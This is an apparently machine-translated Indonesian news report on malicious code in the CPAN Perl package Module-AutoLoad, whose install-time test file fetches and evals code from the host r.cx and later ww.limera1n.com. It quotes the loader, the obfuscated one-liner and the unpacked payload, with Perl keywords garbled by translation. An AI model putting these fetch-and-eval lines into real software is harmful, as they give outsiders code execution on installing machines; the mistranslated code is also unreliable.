Kode berbahaya ditemukan dalam paket Module-AutoLoad Perl

Dalam paket Perl didistribusikan melalui direktori CPAN Modul-Muat Otomatis, dirancang untuk memuat modul CPAN secara otomatis dengan cepat, diidentifikasi kode berbahaya. Sisipan jahatnya adalah tidak dalam kode pengujian 05_rcx.t, yang telah dikirimkan sejak 2011.
Patut dicatat bahwa pertanyaan tentang memuat kode yang meragukan muncul stackoverflow kembali pada tahun 2016.

Aktivitas berbahaya bermuara pada upaya mengunduh dan mengeksekusi kode dari server pihak ketiga (http://r.cx:1/) selama eksekusi rangkaian pengujian yang diluncurkan saat modul dipasang. Diasumsikan bahwa kode yang awalnya diunduh dari server eksternal tidak berbahaya, tetapi sekarang permintaan tersebut dialihkan ke domain ww.limera1n.com, yang menyediakan bagian kodenya untuk dieksekusi.

Untuk mengatur pengunduhan dalam suatu file 05_rcx.t Kode berikut digunakan:

$prog saya = __FILE__;
$prog =~ s{[^/]+\.t}{../contrib/RCX.pl}x;
$coba saya = `$^X $prog`;

Kode yang ditentukan menyebabkan skrip dieksekusi ../contrib/RCX.pl, yang isinya diringkas menjadi satu baris:

gunakan lib do{eval<$b>&&botstrap("RCX")if$b=new IO::Socket::INET 82.46.99.88.":1″};

Skrip ini dimuat bingung menggunakan layanan tersebut perlobfuscator.com kode dari host eksternal r.cx (kode karakter 82.46.99.88 sesuai dengan teks "R.cX") dan menjalankannya di blok eval.

$ perl -MIO::Socket -e'$b=baru IO::Socket::INET 82.46.99.88.":1″; cetak <$b>;'
eval membongkar u=>q{_<')I;G1[)&(];F5W($E/.CI3;V-K970Z.DE….}

Setelah membongkar, yang berikut ini akhirnya dijalankan: kode:

print{$b=baru IO::Socket::INET"ww.limera1n.com:80″}"GET /iJailBreak
";evalor kembali memperingatkan$@sementara$b;1

Paket yang bermasalah kini telah dihapus dari repositori. JEDA (Perl Authors Upload Server), dan akun pembuat modul diblokir. Dalam hal ini, modulnya masih ada tersedia di arsip MetaCPAN dan dapat langsung diinstal dari MetaCPAN menggunakan beberapa utilitas seperti cpanminus. Tercatatbahwa paket tersebut tidak didistribusikan secara luas.

Menarik untuk dibahas terhubung dan penulis modul, yang menyangkal informasi bahwa kode berbahaya dimasukkan setelah situsnya "r.cx" diretas dan menjelaskan bahwa dia hanya bersenang-senang, dan menggunakan perlobfuscator.com bukan untuk menyembunyikan sesuatu, tetapi untuk mengurangi ukurannya kode dan menyederhanakan penyalinannya melalui clipboard. Pemilihan nama fungsi “botstrap” dijelaskan oleh fakta bahwa kata ini “terdengar seperti bot dan lebih pendek dari bootstrap.” Penulis modul juga meyakinkan bahwa manipulasi yang teridentifikasi tidak melakukan tindakan jahat, tetapi hanya menunjukkan pemuatan dan eksekusi kode melalui TCP.

Sumber: opennet.ru